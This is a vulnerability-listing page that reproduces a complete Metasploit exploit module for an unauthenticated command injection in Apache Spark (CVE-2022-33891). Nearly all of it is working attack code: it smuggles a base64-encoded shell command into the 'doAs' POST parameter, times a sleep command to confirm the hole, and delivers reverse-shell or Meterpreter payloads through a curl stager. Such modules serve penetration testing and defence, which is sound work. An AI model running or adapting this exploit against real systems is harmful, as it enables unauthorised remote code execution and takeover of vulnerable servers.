Apache Spark Unauthenticated Command Injection

2022.09.08
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Spark Unauthenticated Command Injection RCE', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Apache Spark. Successful exploitation results in remote code execution under the context of the Spark application user. The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command. It is triggered by a non-default setting called spark.acls.enable. This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack. Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module ], 'References' => [ ['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure ['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis ['CVE', '2022-33891'] ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5 }, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix (In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :in_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'CmdStagerFlavor' => ['printf', 'curl'], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2022-07-18', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) end def execute_command(cmd, _opts = {}) b64 = Rex::Text.encode_base64(cmd) post_data = "doAs=\`echo #{b64} | base64 -d | bash\`" return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/'), 'data' => post_data }) rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e elog("A communication error occurred: #{e.message}", error: e) end def check print_status("Checking if #{peer} can be exploited!") res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}") return CheckCode::Unknown('Did not receive a response from target.') unless res if res.code != 403 return CheckCode::Safe('Target did not respond with a 403 response.') end sleep_time = rand(5..10) print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") res, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}") end print_status("Elapsed time: #{elapsed_time} seconds.") unless res && elapsed_time >= sleep_time return CheckCode::Safe('Failed to test command injection.') end CheckCode::Vulnerable('Successfully tested command injection.') end def exploit print_status('Exploiting...') case target['Type'] when :in_memory execute_command(payload.encoded) when :dropper execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space end end end


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